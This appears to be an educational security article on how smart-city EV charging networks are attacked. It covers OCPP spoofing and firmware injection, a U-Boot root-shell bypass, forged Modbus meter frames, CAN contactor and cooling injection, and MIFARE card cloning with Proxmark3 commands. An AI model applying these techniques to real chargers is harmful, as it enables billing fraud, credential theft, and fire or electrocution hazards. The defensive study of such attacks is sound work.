12-08-2026

How Smart City EV Charging Networks Get Exploited

Try the interactive lab for this article Take the quiz (6 questions)

Modern electric vehicle (EV) charging networks form a distributed cyber-physical infrastructure spanning low-voltage power distribution grids, municipal telecommunications, embedded microcontrollers, and cloud-hosted management platforms. As cities across Europe deploy tens of thousands of Electric Vehicle Supply Equipment (EVSE) units to support fleet electrification, the attack surface of these systems has expanded rapidly. Charging points are no longer isolated electrical outlets; they are networked Linux and RTOS endpoints equipped with cellular modems, metering units, physical payment interfaces, and power electronic controllers capable of switching hundreds of kilowatts in milliseconds.

This article details the technical architecture of EV charging infrastructure, analyzing protocol vulnerabilities in Open Charge Point Protocol (OCPP) over WebSockets, vehicle-to-charger communication protocols (IEC 61851 and ISO 15118), physical bus exposure (CAN bus, RS-485, UART/JTAG), RFID authentication mechanics, and the systemic risks of grid-scale load manipulation.

+-----------------------------------------------------------------------------------+
|                         Central Management Architecture                           |
|                                                                                   |
|  +--------------------+        OCPP 1.6J / 2.0.1         +---------------------+  |
|  | Charge Point       | <=============================> | Electric Vehicle    |  |
|  | Management System  |     WSS (TLS 1.2/1.3) / WS      | Supply Equipment    |  |
|  | (CPMS Cloud)       |     TCP Port 443 / 80           | (EVSE Kiosk)        |  |
|  +--------------------+                                 +----------+----------+  |
|                                                                    |              |
|                                     +------------------------------+              |
|                                     |                                             |
|             +-----------------------v-----------------------+                     |
|             | Vehicle-to-Charger Interface                  |                     |
|             |                                               |                     |
|             |  IEC 61851-1 Control Pilot (PWM 1 kHz)        |                     |
|             |  ISO 15118-2/20 HomePlug Green PHY (PLC IPv6) |                     |
|             +-----------------------+-----------------------+                     |
|                                     |                                             |
|                                     v                                             |
|                          +---------------------+                                  |
|                          | Electric Vehicle    |                                  |
|                          | (EV Inverter & BMS) |                                  |
|                          +---------------------+                                  |
+-----------------------------------------------------------------------------------+

1. EV Charging Infrastructure Topology & Protocol Stack

An EV charging ecosystem consists of three distinct functional layers: the Charge Point Management System (CPMS), the Electric Vehicle Supply Equipment (EVSE), and the Electric Vehicle (EV). Understanding the security posture of modern charging grids requires dissecting how data and electrical power traverse these three domains.

+-----------------------------------------------------------------------------------+
|                           EV Charging Protocol Stack                              |
|                                                                                   |
|  +-----------------------------------------------------------------------------+  |
|  | Management Layer: OCPP 1.6J / 2.0.1, OCPI 2.2.1, ISO 15118-2/20 PnC          |  |
|  +-----------------------------------------------------------------------------+  |
|  | Transport & Session: WebSockets (WSS), TLS 1.3, TCP/IP, EXI XML              |  |
|  +-----------------------------------------------------------------------------+  |
|  | Network Layer: IPv6 Link-Local (SLAAC), IPv4 Cellular (PPP/LTE Cat-4)        |  |
|  +-----------------------------------------------------------------------------+  |
|  | Data Link Layer: HomePlug Green PHY MAC (IEEE 1901.2), Ethernet (IEEE 802.3) |  |
|  +-----------------------------------------------------------------------------+  |
|  | Physical Layer: Control Pilot PWM (1 kHz), OFDM PLC (2-30 MHz), RS-485, CAN  |  |
|  +-----------------------------------------------------------------------------+  |
+-----------------------------------------------------------------------------------+

1.1 The Charge Point Management System (CPMS)

The CPMS is the backend management platform responsible for monitoring charger telemetry, authenticating user sessions, executing billing transactions, issuing remote control commands, and managing dynamic load balancing across charging hubs. Communication between the CPMS and deployed EVSE units relies on the Open Charge Point Protocol (OCPP).

Central management platforms also integrate with external energy clearing houses and roaming networks using protocols such as the Open Charge Point Interface (OCPI), Open Chargeing Network (OCN), or Open Clearing House Protocol (OCHP). These inter-operator APIs exchange user identification tokens (eMSP e-Mobility Service Provider tokens) and location metrics across international borders, creating secondary attack surfaces where compromised roaming partners can inject fraudulent transaction requests into a target CPMS infrastructure.

1.2 The Electric Vehicle Supply Equipment (EVSE)

The EVSE consists of the physical kiosk hardware deployed in public spaces or private depots. Internal components are partitioned across multiple hardware micro-architectures:

Main Control Unit (MCU): An embedded Linux system (typically ARM Cortex-A7 or Cortex-A53 running Yocto Linux or Debian) or a high-performance system-on-chip managing high-level business logic, network connectivity, graphic user interfaces (HMI touchscreens), and payment peripherals.
Charge Controller Microcontroller: A dedicated real-time microcontroller (such as an ARM Cortex-M4 or STMicroelectronics STM32F4 series running FreeRTOS or bare-metal C) handling low-level signaling with the vehicle, contactor switching, safety interlocking, ground-fault detection (GFDI), and energy metering.
Power Electronics & Relays: High-current AC contactors or DC fast-charging power conversion modules (three-phase AC to DC rectifiers operating up to 1000 V DC and 500 A output).
Metering Hardware: MID-certified (Measuring Instruments Directive) electrical power meters equipped with current transformers (CTs) or Rogowski coils that measure active energy consumption ($kWh$) and instantaneous power ($kW$).
Communication Interface Modems: Integrated 4G/5G cellular modems (LTE Cat-1 or Cat-4 modules communicating over AT commands via internal USB/serial buses) or Ethernet switches connecting the EVSE to the CPMS over public cellular networks using private APNs or public internet connections.

+-----------------------------------------------------------------------------------+
|                        EVSE Internal Hardware Topology                            |
|                                                                                   |
|  +-----------------------------------------------------------------------------+  |
|  | Main Control Unit (SoC: ARM Cortex-A53 / Yocto Linux)                      |  |
|  |                                                                             |  |
|  |   +-------------------+   +-------------------+   +---------------------+   |  |
|  |   | OCPP Client Engine|   | Web UI & Touch HMI|   | Cellular Modem (LTE)|   |  |
|  |   +---------+---------+   +---------+---------+   +----------+----------+   |  |
|  +-------------|-----------------------|------------------------|--------------+  |
|                |                       |                        |                 |
|                | Internal Serial       | SPI / USB              | AT Commands     |
|                v                       v                        v                 |
|  +-----------------------------------------------------------------------------+  |
|  | Charge Controller Microcontroller (ARM Cortex-M4 / FreeRTOS)                 |  |
|  |                                                                             |  |
|  |   +-------------------+   +-------------------+   +---------------------+   |  |
|  |   | PWM Pilot Control |   | Relays & Contactor|   | Energy Meter (MID)  |   |  |
|  |   | State Machine     |   | Interlock Drivers |   | RS-485 Modbus RTU   |   |  |
|  |   +---------+---------+   +---------+---------+   +----------+----------+   |  |
|  +-------------|-----------------------|------------------------|--------------+  |
|                |                       |                        |                 |
|                v                       v                        v                 |
|        Control Pilot Pin        High-Voltage AC/DC      Internal Metering         |
|        (IEC 61851 Cable)        Contactors (1000V)       Serial Telemetry         |
+-----------------------------------------------------------------------------------+

1.3 Vehicle-to-Charger Signaling Architecture (IEC 61851-1)

Physical signaling between the EVSE and the vehicle occurs over dedicated pins defined by international standards (IEC 62196 Type 2 in Europe, SAE J1772 in North America, and CCS Combo 1/2 for DC fast charging).

       Type 2 / CCS Combo 2 Pin Configuration
       +------------------------------------+
       |              (  PP  )              |
       |        ( CP )        ( N  )        |
       |        ( L1 )        ( L2 )        |
       |              ( L3 )                |
       |                                    |
       |        [ DC+ ]      [ DC- ]        |
       |        ( CCS Fast Charge )         |
       +------------------------------------+

Control Pilot (CP): A 1 kHz pulse-width modulated (PWM) signal driven by the EVSE at a nominal $\pm 12\text{ V}$ range. The duty cycle of the positive pulse indicates the maximum continuous AC current allowable by the charging cable and circuit infrastructure. For example, a 10% duty cycle maps to 6 A, a 25% duty cycle maps to 15 A, and a 50% duty cycle maps to 30 A. Resistance changes inside the vehicle alter the peak positive voltage, allowing the EVSE charge controller to detect connection states:

State	Nominal Voltage	Operational Condition	Description
State A	$+12\text{ V}$ DC	Disconnected	Vehicle is not plugged into the EVSE cable.
State B	$+9\text{ V}$ / $-12\text{ V}$ PWM	Connected	Vehicle is plugged in; charger PWM active; vehicle not ready.
State C	$+6\text{ V}$ / $-12\text{ V}$ PWM	Charging	Vehicle ready; contactors closed; charging active (no ventilation).
State D	$+3\text{ V}$ / $-12\text{ V}$ PWM	Charging (Vent)	Charging active with external enclosure ventilation requested.
State E	$0\text{ V}$	Error	Short circuit to ground or disconnected power supply.
State F	$-12\text{ V}$	Fault	EVSE pilot signal generator failure or internal system fault.

Proximity Pilot (PP): A passive resistance loop used by the vehicle onboard charger (OBC) to confirm connector seating and determine maximum cable current handling capacity before closing main contactors.

Resistance Value	Max Current Rating	Wire Gauge Standard
$1.5\text{ k}\Omega$	$13\text{ A}$	$1.5\text{ mm}^2$
$680\ \Omega$	$20\text{ A}$	$2.5\text{ mm}^2$
$220\ \Omega$	$32\text{ A}$	$6.0\text{ mm}^2$
$100\ \Omega$	$63\text{ A}$	$16.0\text{ mm}^2$

1.4 High-Level Communication (HLC) & ISO 15118 Protocol Family

While basic AC charging relies on analog PWM signaling over the Control Pilot line, DC fast charging (CCS) and advanced vehicle-to-grid (V2G) operations require digital packet communication governed by ISO 15118 (ISO 15118-2 and ISO 15118-20).

+-----------------------------------------------------------------------------------+
|                        ISO 15118 High-Level Protocol Stack                        |
|                                                                                   |
|  +-----------------------------------------------------------------------------+  |
|  | V2G Application Layer: ISO 15118-2 / ISO 15118-20 EXI Schema Messages        |  |
|  | (SessionSetup, ServiceDiscovery, PaymentSelection, ChargeParameterDiscovery) |  |
|  +-----------------------------------------------------------------------------+  |
|  | Transport Layer: TLS 1.3 / TCP Port 49152 (V2GTP Vector Transfer Protocol)   |  |
|  +-----------------------------------------------------------------------------+  |
|  | Network Layer: IPv6 Link-Local (FE80::/10 via SLAAC)                         |  |
|  +-----------------------------------------------------------------------------+  |
|  | Data Link Layer: HomePlug Green PHY MAC (IEEE 1901.2 HomePlug AV)           |  |
|  +-----------------------------------------------------------------------------+  |
|  | Physical Layer: Powerline Communication (PLC) Superimposed on CP Line (2-30 MHz)|
|  +-----------------------------------------------------------------------------+  |
+-----------------------------------------------------------------------------------+

1.4.1 HomePlug Green PHY Physical Layer

To establish high-speed data transmission over the single copper Control Pilot pin, ISO 15118 uses HomePlug Green PHY Powerline Communication (PLC). The modem superimposes an Orthogonal Frequency Division Multiplexing (OFDM) signal operating across frequencies between $2\text{ MHz}$ and $30\text{ MHz}$ on top of the analog 1 kHz PWM pilot signal.

Upon physical insertion, the EV and EVSE execute Signal Attenuation Characterization (SAC) to pair PLC modems and establish an IPv6 link-local connection (using Stateless Address Autoconfiguration, SLAAC, under the fe80::/10 prefix).

1.4.2 EXI Encoding & Message Schemas

ISO 15118 messages do not use raw XML or JSON. To reduce computational overhead and packet sizes over low-bandwidth powerline links, XML structures are serialized into Efficient XML Interchange (EXI) streams. EXI compresses XML structures by mapping tag names and attribute strings to compact grammar code tables, reducing payload footprints by over 85%.

A typical ISO 15118 session executes the following sequential request-response exchange over V2G Transfer Protocol (V2GTP) streams on TCP port 49152:

Electric Vehicle (EV)                                     EVSE Charger Kiosk
      |                                                           |
      | ------------------ SupportedAppProtocolReq -------------> |
      | <----------------- SupportedAppProtocolRes -------------- |
      |                                                           |
      | ------------------ SessionSetupReq ---------------------> |
      | <----------------- SessionSetupRes ---------------------- |
      |                                                           |
      | ------------------ ServiceDiscoveryReq -----------------> |
      | <----------------- ServiceDiscoveryRes ------------------ |
      |                                                           |
      | ------------------ PaymentSelectionReq (Plug&Charge) ---> |
      | <----------------- PaymentSelectionRes ------------------ |
      |                                                           |
      | ------------------ PaymentDetailsReq (Contract Cert) ---> |
      | <----------------- PaymentDetailsRes -------------------- |
      |                                                           |
      | ------------------ ChargeParameterDiscoveryReq ---------> |
      | <----------------- ChargeParameterDiscoveryRes ---------- |
      |                                                           |
      | ------------------ CableCheckReq / PowerDeliveryReq ----> |
      | <----------------- CableCheckRes / PowerDeliveryRes ----- |
      |                                                           |
      | ================== DC Power Transfer Active ============= |

1.4.3 Plug & Charge (PnC) Public Key Infrastructure (PKI)

ISO 15118 enables automated billing through Plug & Charge (PnC). When an EV connects to a PnC-enabled EVSE, authentication occurs without physical RFID cards or mobile applications. The vehicle transmits a digital Contract Certificate issued by an e-Mobility Service Provider (eMSP).

The PKI hierarchy governing PnC requires multiple certificate authorities:

                       +------------------------+
                       |    V2G Root CA (V2G)   |
                       +-----------+------------+
                                   |
         +-------------------------+-------------------------+
         |                                                   |
+--------v---------------+                          +--------v---------------+
| OEM Sub-CA (Vehicle)   |                          | CPS Sub-CA (Charger)   |
+--------+---------------+                          +--------+---------------+
         |                                                   |
+--------v---------------+                          +--------v---------------+
| OEM Provisioning Cert  |                          | Charge Point Cert      |
+--------+---------------+                          +------------------------+
         |
+--------v---------------+
| Contract Leaf Cert     |
| (Stored in EV Security |
| Hardware Module - HSM) |
+------------------------+

V2G Root CA: The top-level trust anchor cross-certifying participating automakers and charge point operators.
OEM Sub-CA & Provisioning Certificate: Installed in the vehicle during manufacturing to request eMSP contract certificates over the air.
Contract Certificate: A leaf certificate containing the user's e-Mobility Account Identifier (EMAID). The EV uses its private key stored in an onboard Hardware Security Module (HSM) to sign an ECDSA Challenge payload during PaymentDetailsReq.
Charge Point Certificate: Installed in the EVSE to authenticate the charger during the TLS 1.3 handshake over the PLC IPv6 connection.

If an attacker intercepts or tampers with the EXI parser on the EVSE control board, memory corruption vulnerabilities in low-level C XML/EXI decoders can allow remote code execution over the local physical charging cable.

2. Open Charge Point Protocol (OCPP) Mechanics & Exploitation

The Open Charge Point Protocol is the industry standard governing communication between EVSE units and the CPMS backend. While legacy installations used OCPP 1.5/1.6 over SOAP/XML, modern deployments overwhelmingly utilize OCPP 1.6 JSON (OCPP-J) and OCPP 2.0.1 over WebSockets.

2.1 JSON-RPC 2.0 Message Framing & State Machine

OCPP-J frames messages within WebSocket frames using a simplified 4-element or 3-element JSON array format.

CALL Message (EVSE to CPMS or CPMS to EVSE):

[
  2,
  "19283741",
  "Authorize",
  {
    "idTag": "04A1B2C3D4E580"
  }
]

Element 0: Message Type ID (2 = CALL, 3 = CALLRESULT, 4 = CALLERROR).
Element 1: Unique String Message ID (used for request-response pairing).
Element 2: Action name (e.g., BootNotification, Authorize, StartTransaction, StopTransaction, MeterValues, RemoteStartTransaction, Reset).
Element 3: Payload Object matching protocol schema definition.

CALLRESULT Message (CPMS to EVSE response):

[
  3,
  "19283741",
  {
    "idTagInfo": {
      "status": "Accepted",
      "expiryDate": "2026-12-31T23:59:59Z",
      "parentIdTag": "FLEET_OPERATOR_EU"
    }
  }
]

CALLERROR Message (Backend or Charger error condition):

[
  4,
  "19283741",
  "FormationViolation",
  "Payload syntax does not match schema requirements for Action Authorize",
  {}
]

2.2 Security Profiles in OCPP 1.6J and 2.0.1

OCPP defines three distinct security profiles to handle transport layer security:

Security Profile 1 (Unsecure Transport): Plaintext WebSockets (ws://). Authentication occurs via HTTP Basic Authentication over unencrypted TCP port 80. The charge point serial number or ID is supplied in the URI: ws://cpms.example-grid.eu/ocpp/CP_MADRID_042.
Security Profile 2 (TLS with Server Certificate): Encrypted WebSockets (wss://). The EVSE validates the CPMS TLS certificate. Authentication relies on HTTP Basic Authentication credentials (Client ID and Password) sent over TLS.
Security Profile 3 (TLS with Mutual Authentication - mTLS): Encrypted WebSockets (wss://). Both CPMS and EVSE validate client and server X.509 certificates. The client key is anchored to hardware storage inside a Trusted Platform Module (TPM 2.0).

2.3 Deep Technical Analysis of Core OCPP Message Payloads

To evaluate exploit scenarios, security engineers must analyze the exact structure of operational OCPP frames exchanged during a charging lifecycle.

2.3.1 BootNotification Payload (Charger Initialization)

When an EVSE powers on or resets, it transmits a BootNotification payload to announce its identity, firmware revision, and model credentials to the CPMS:

[
  2,
  "msg_boot_001",
  "BootNotification",
  {
    "chargePointVendor": "ElectroKiosk_Systems",
    "chargePointModel": "HyperCharge-350kW",
    "chargePointSerialNumber": "EK-EU-2025-994812",
    "chargeBoxSerialNumber": "CB-8839210-A",
    "firmwareVersion": "v3.14.2-build481",
    "iccid": "893140300001928374F",
    "imsi": "262019283746510",
    "meterType": "MID_ABB_B23_112",
    "meterSerialNumber": "MID-2024-883910"
  }
]

2.3.2 Authorize Payload (User Identification)

When a user taps an RFID card or presents a mobile application token, the EVSE sends an Authorize request containing the card identifier string (idTag):

[
  2,
  "msg_auth_104",
  "Authorize",
  {
    "idTag": "04A1B2C3D4E580"
  }
]

2.3.3 StartTransaction Payload (Session Initiation)

Once authorized, the EVSE closes internal contactors and issues a StartTransaction request containing the active connector ID, starting energy meter reading in watt-hours ($Wh$), and UTC timestamp:

[
  2,
  "msg_start_209",
  "StartTransaction",
  {
    "connectorId": 1,
    "idTag": "04A1B2C3D4E580",
    "meterStart": 14209300,
    "timestamp": "2026-08-12T14:20:00Z",
    "reservationId": 0
  }
]

The CPMS responds with a unique transactionId integer that must be appended to all subsequent telemetry and stop frames for this session:

[
  3,
  "msg_start_209",
  {
    "transactionId": 8839120,
    "idTagInfo": {
      "status": "Accepted",
      "expiryDate": "2026-12-31T23:59:59Z"
    }
  }
]

2.3.4 MeterValues Payload (Real-Time Energy Telemetry)

During active charging, the EVSE transmits periodic MeterValues frames (e.g., every 30 seconds) containing multidimensional telemetry readings used for live billing calculation and power management:

[
  2,
  "msg_meter_501",
  "MeterValues",
  {
    "connectorId": 1,
    "transactionId": 8839120,
    "meterValue": [
      {
        "timestamp": "2026-08-12T14:25:00Z",
        "sampledValue": [
          {
            "value": "18450300",
            "context": "Sample.Periodic",
            "format": "Raw",
            "measurand": "Energy.Active.Import.Register",
            "location": "Outlet",
            "unit": "Wh"
          },
          {
            "value": "348.5",
            "context": "Sample.Periodic",
            "format": "Raw",
            "measurand": "Power.Active.Import",
            "location": "Outlet",
            "unit": "kW"
          },
          {
            "value": "492.1",
            "context": "Sample.Periodic",
            "format": "Raw",
            "measurand": "Current.Import",
            "location": "Outlet",
            "unit": "A"
          },
          {
            "value": "708.2",
            "context": "Sample.Periodic",
            "format": "Raw",
            "measurand": "Voltage",
            "location": "Outlet",
            "unit": "V"
          },
          {
            "value": "48.2",
            "context": "Sample.Periodic",
            "format": "Raw",
            "measurand": "Temperature",
            "location": "Cable",
            "unit": "Celsius"
          }
        ]
      }
    ]
  }
]

2.3.5 RemoteStartTransaction & SetChargingProfile (Grid Control)

The CPMS can issue directional control commands to the EVSE. RemoteStartTransaction forces a charger to initiate power flow, while SetChargingProfile dynamically restricts or elevates output capacity:

[
  2,
  "msg_rem_start_901",
  "RemoteStartTransaction",
  {
    "connectorId": 1,
    "idTag": "FLEET_REMOTE_OVERRIDE",
    "chargingProfile": {
      "chargingProfileId": 101,
      "stackLevel": 1,
      "chargingProfilePurpose": "TxProfile",
      "chargingProfileKind": "Absolute",
      "recurrenceKind": "Daily",
      "chargingSchedule": {
        "duration": 86400,
        "startSchedule": "2026-08-12T00:00:00Z",
        "chargingRateUnit": "W",
        "chargingSchedulePeriod": [
          {
            "startPeriod": 0,
            "limit": 350000.0,
            "numberPhases": 3
          }
        ],
        "minChargingRate": 6000.0
      }
    }
  }
]

2.4 Real-World Protocol Flaws and Interception

2.4.1 Profile 1 Downgrade and Plaintext Eavesdropping

Many legacy and budget EVSE deployments fallback to Security Profile 1 due to misconfigured internal configuration keys (SecurityProfile = 1). In these scenarios, cellular traffic directed over private APNs or public LTE networks can be intercepted via compromised APN gateways, rogue cellular base stations, or local MITM positions.

An attacker capturing raw WebSocket frames can extract valid idTag tokens from Authorize and StartTransaction calls:

[
  2,
  "1049281",
  "StartTransaction",
  {
    "connectorId": 1,
    "idTag": "DE*BAY*E1029384",
    "meterStart": 14209300,
    "timestamp": "2026-08-12T14:20:00Z"
  }
]

2.4.2 WebSocket ID Spoofing and Unauthenticated Session Takeover

In Security Profile 1 and misconfigured Profile 2 environments without client certificates, the CPMS identifies the charge point solely by the URI path identifier:

GET /ocpp/EVSE_BERLIN_8819 HTTP/1.1
Host: cpms.municipal-energy.de
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Authorization: Basic RVZTRV9CRVJMSU5fODgxOTpXZWFrUGFzczEyMw==

If the CPMS fails to enforce strong per-charger passwords or accepts default credentials (such as serial numbers used as credentials), an attacker can open a secondary WebSocket connection to the CPMS using a target EVSE's identifier.

When the attacker sends a malicious BootNotification payload:

[
  2,
  "990112",
  "BootNotification",
  {
    "chargePointVendor": "GenericEVSE",
    "chargePointModel": "FastCharge-50",
    "firmwareVersion": "1.0.0",
    "chargePointSerialNumber": "EVSE_BERLIN_8819"
  }
]

The backend terminates or hijacks the active WebSocket connection of the physical charger, effectively taking the real charger offline (Denial of Service) or injecting false meter values into the billing ledger.

2.4.3 Unsigned Over-The-Air (OTA) Firmware Injection

The OCPP UpdateFirmware command instructs the EVSE to download a binary firmware file from a specified URI and install it automatically:

[
  2,
  "msg_firmware_771",
  "UpdateFirmware",
  {
    "location": "http://firmware-repo.unsecure-cdn.com/evse_v4.0.bin",
    "retries": 3,
    "retryInterval": 60,
    "retrieveDate": "2026-08-12T15:00:00Z"
  }
]

If the EVSE firmware updating mechanism fails to verify cryptographic digital signatures (such as RSA-4096 or ECDSA P-256 signatures) on the downloaded evse_v4.0.bin file, an attacker executing a MITM attack or controlling an unencrypted HTTP repository can deliver a modified Linux image containing root backdoor accounts, permanent bootkits, or malicious relay control logic.

3. Physical and Local Bus Attack Surfaces

Physical security on municipal EVSE kiosks is often minimal. Charging units located in underground car parks or along public streets are exposed to physical tampering, allowing direct access to internal PCB components.

+-----------------------------------------------------------------------------------+
|                        EVSE Kiosk Internal Architecture                            |
|                                                                                   |
|  +-----------------------------------------------------------------------------+  |
|  | Main Control Unit (SoC: NXP i.MX6 / Allwinner H3 running Yocto Linux)       |  |
|  |                                                                             |  |
|  |   [ Debug UART Port ]   [ JTAG Header ]   [ USB Debug Host ]                |  |
|  |           |                     |                  |                        |  |
|  +-----------|---------------------|------------------|------------------------+  |
|              |                     |                  |                           |
|              v                     v                  v                           |
|       115200 8N1 Boot        Direct Memory      Modem / Storage                   |
|       Console (Root)          Access (DMA)       Mount Access                     |
|                                                                                   |
|  +-----------------------------------------------------------------------------+  |
|  | Internal Peripheral Communications                                           |  |
|  |                                                                             |  |
|  |   RS-485 / Modbus RTU Bus =========> MID Energy Meter (Unencrypted Telemetry) |  |
|  |   CAN Bus (ISO 11898)    =========> Charge Controller MCU / DC Rectifiers    |  |
|  +-----------------------------------------------------------------------------+  |
+-----------------------------------------------------------------------------------+

3.1 Unprotected Hardware Debugging Interfaces (UART / JTAG)

Internal inspection of low-cost AC and DC fast chargers routinely reveals unpopulated or fully accessible 4-pin UART headers on the MCU PCB. Connecting a USB-to-UART serial adapter configured to 115200 baud (8N1) frequently exposes the U-Boot bootloader console or a live Linux root shell:

U-Boot 2024.01-arm-evse (May 12 2025 - 11:02:15 +0200)
 
CPU:   Freescale i.MX6ULL rev1.1 at 792 MHz
Reset cause: POR
DRAM:  512 MiB
NAND:  256 MiB
Hit any key to stop autoboot:  0 
=> env set bootargs console=ttymxc0,115200 root=/dev/mtdblock3 rw init=/bin/sh
=> boot

By halting U-Boot and appending init=/bin/sh to the kernel arguments, an attacker bypasses system authentication, gaining full root access to the internal storage (NAND/eMMC). From this position, an attacker can extract:

CPMS WebSocket endpoints and hardcoded WSS credentials.
TLS client certificates and private keys stored unencrypted in /etc/ssl/certs/ or /var/lib/ocpp/.
Cellular APN configurations, VPN configurations (OpenVPN/WireGuard profiles), and credential tokens.
Firmware binaries for offline reverse engineering.

Similarly, un-fused JTAG or Single Wire Debug (SWD) pins on real-time charge controllers allow attaching hardware probes (J-Link, ST-Link) to halt Cortex-M microcontrollers, read out flash contents, and modify register states to force contactor relays closed without authorization.

3.2 RS-485 Modbus RTU Telemetry Manipulation

In many EVSE designs, the MID-approved electrical energy meter communicates with the main board over an internal two-wire RS-485 serial bus running the Modbus RTU protocol.

Modbus RTU Frame Structure:

+---------------+---------------+------------------+------------------+------------------+
| Address (1B)  | Function (1B) | Register Hi (1B) | Register Lo (1B) | CRC-16 (2 Bytes) |
+---------------+---------------+------------------+------------------+------------------+

Field	Size	Description
Slave Address	1 Byte	Target Modbus device address (e.g., `0x01` for energy meter).
Function Code	1 Byte	Operation type (`0x03` Read Holding Regs, `0x06` Write Single Reg, `0x10` Write Multiple Regs).
Data Payload	Variable	Starting register address, register count, or data values.
CRC-16	2 Bytes	Modbus polynomial `0xA001` checksum for frame error detection.

Because Modbus RTU contains zero encryption or message authentication codes (MAC), an attacker tapping into the internal RS-485 lines using an FTDI adapter can perform packet injection:

Energy Theft & Billing Fraud: When the main control board requests active energy registers (e.g., Read Holding Registers, Function Code 0x03, Register 0x4000), a hardware tap device can transmit a forged response frame with higher priority, overwriting the actual meter reading with zero or arbitrary values:
```
Master Request:  01 03 40 00 00 02 D0 0B
Spoofed Response: 01 03 04 00 00 00 00 FA 33  (Reports 0.00 kWh active energy)
```
Tampering with Thermal Sensors: Modbus RTU is also used to poll thermal sensors on high-power DC charging cables. Injecting false low-temperature values allows an attacker to override thermal throttling protections, leading to cable overheating, insulation melting, and physical fire hazards.

3.3 CAN Bus Vulnerabilities (ISO 11898 & SAE J1939)

Inside DC fast chargers, high-power components (power rectifiers, high-voltage contactors, liquid cooling units, and liquid-cooled cable pumps) communicate over an internal Controller Area Network (CAN 2.0B running at 250 kbps or 500 kbps).

+-----------------------------------------------------------------------------------+
|                        Internal DC Charger CAN Bus Topology                       |
|                                                                                   |
|  +---------------------+                                 +---------------------+  |
|  | Main Linux MCU      |                                 | Power Rectifier A   |  |
|  | (CAN Controller)    |                                 | (AC-to-DC 100kW)    |  |
|  +----------+----------+                                 +----------+----------+  |
|             |                                                       |             |
|             +==================== CAN Bus ==========================+             |
|                               (ISO 11898 500kbps)                   |             |
|             +-----------------------+-----------------------+       |             |
|             |                       |                       |       |             |
|  +----------v----------+ +----------v----------+ +----------v-------v--+          |
|  | Power Rectifier B   | | Liquid Cooling Pump | | HV Contactor Board  |          |
|  | (AC-to-DC 100kW)    | | Controller Module   | | (1000V DC Drivers)  |          |
|  +---------------------+ +---------------------+ +---------------------+          |
+-----------------------------------------------------------------------------------+

An attacker with physical access to the CAN bus can monitor or inject standard CAN frames:

  ID: 0x18DA10F1  DLC: 8  Data: 02 10 03 00 00 00 00 00  (UDS Diagnostic Session Request)
  ID: 0x0CFF0101  DLC: 8  Data: 28 04 00 00 00 00 00 00  (Rectifier Output Command: 106.0 V)

Because native CAN lacks source authentication, injecting high-frequency CAN messages allows an attacker to override system state logic:

Diagnostic Session Hijacking: Transmitting Unified Diagnostic Services (UDS, ISO 14443 / ISO 14229) control frames to trigger output IO control routines (InputOutputControlByIdentifier, Service 0x2F), forcibly closing main DC contactors to energize external plug pins at $1000\text{ V}$ DC without an attached vehicle.
Cooling System Denial: Overriding liquid pump speed commands to zero while rectifiers output $500\text{ A}$ continuous current, inducing catastrophic thermal degradation of power semiconductor modules (IGBTs/SiC MOSFETs).

4. RFID Authentication and Payment Bypasses

Public EVSE kiosks use proximity RFID cards for offline user authentication and payment processing when cellular connectivity to the backend is unavailable or when roaming users trigger sessions.

+-----------------------------------------------------------------------------------+
|                           RFID Authentication Pipeline                            |
|                                                                                   |
|  +-----------------------+   13.56 MHz ISO 14443A   +--------------------------+  |
|  | MIFARE Classic Card   | <======================> | RFID Reader Module       |  |
|  | (4-byte / 7-byte UID) |    RF Field (NFC)        | (NXP PN532 / MFRC522)    |  |
|  +-----------------------+                          +------------+-------------+  |
|                                                                  |                |
|                                                       UART / SPI | Serial Data    |
|                                                                  v                |
|                                                     +--------------------------+  |
|                                                     | EVSE Main Control Unit   |  |
|                                                     |                          |  |
|                                                     | Checks internal whitelist|  |
|                                                     | or forwards UID in       |  |
|                                                     | OCPP Authorize request   |  |
|                                                     +--------------------------+  |
+-----------------------------------------------------------------------------------+

4.1 MIFARE Classic & Ultralight RFID Card Cloning

A significant proportion of European municipal charging networks rely on legacy MIFARE Classic 1K/4K RFID cards. The authentication logic in many OCPP implementations passes the raw Unique Identifier (UID) of the card directly into the idTag field of an OCPP Authorize request without validating encrypted sector data or executing mutual authentication challenge-response sequences.

MIFARE Classic cards utilize the proprietary Crypto1 stream cipher, which suffers from severe cryptographic vulnerabilities:

Nested Attack & Dark Side Attack: Allows full recovery of secret sector keys (Key A and Key B) within seconds using off-the-shelf Proxmark3 hardware by exploiting PRNG predictability in the card's state machine.
UID Spoofing: Chinese magic cards (UID Changeable Gen1a/Gen2 cards) allow overwriting Sector 0 Block 0 to clone any 4-byte or 7-byte UID.

An attacker sitting near a public charging hub can capture the 4-byte UID of a legitimate fleet charging card using a hidden NFC reader. By writing the target UID to a magic card using Proxmark3 CLI tools:

pm3 --> hf mf csetuid -u 04A1B2C3
[+] Old UID: 11 22 33 44
[+] New UID: 04 A1 B2 C3
[+] Successfully set magic card UID

Presenting the cloned card to any kiosk within the same charging network authorizes a session billed entirely to the victim cardholder's account.

+-----------------------------------------------------------------------------------+
|                        MIFARE Classic Sector 0 Layout                             |
|                                                                                   |
|  Block 0 (Manufacturer): [ 04 A1 B2 C3 ] [ Checksum ] [ Manufacturer Info Data ]  |
|                          |<-- 4B UID ->|                                          |
|  Block 1 (Data Sector):  [ Unencrypted User / Network Operational Data       ]  |
|  Block 2 (Data Sector):  [ Balance / EMAID Identifier String               ]  |
|  Block 3 (Trailer):      [ Key A (6B) ] [ Access Bits (4B) ] [ Key B (6B)  ]  |
+-----------------------------------------------------------------------------------+

4.2 Local Whitelist Cache Extraction and Manipulation

To support offline operation when cellular signal is degraded, OCPP specifications define a Local Authorization List (Local Auth List) and an Authorization Cache stored directly in the EVSE's local database (typically an SQLite database stored at /var/lib/evse/auth.db or /etc/ocpp/cache.db).

Inspectable via extracted filesystem images:

sqlite3 /var/lib/evse/auth.db
sqlite> .schema
CREATE TABLE local_auth_list (
    id_tag TEXT PRIMARY KEY,
    status TEXT NOT NULL,
    expiry_date DATETIME,
    parent_id_tag TEXT
);
sqlite> SELECT * FROM local_auth_list;
04A1B2C3D4E580|Accepted|2028-01-01T00:00:00Z|MUNICIPAL_FLEET
04F98811A23000|Accepted|2027-06-15T00:00:00Z|PUBLIC_ROAMING

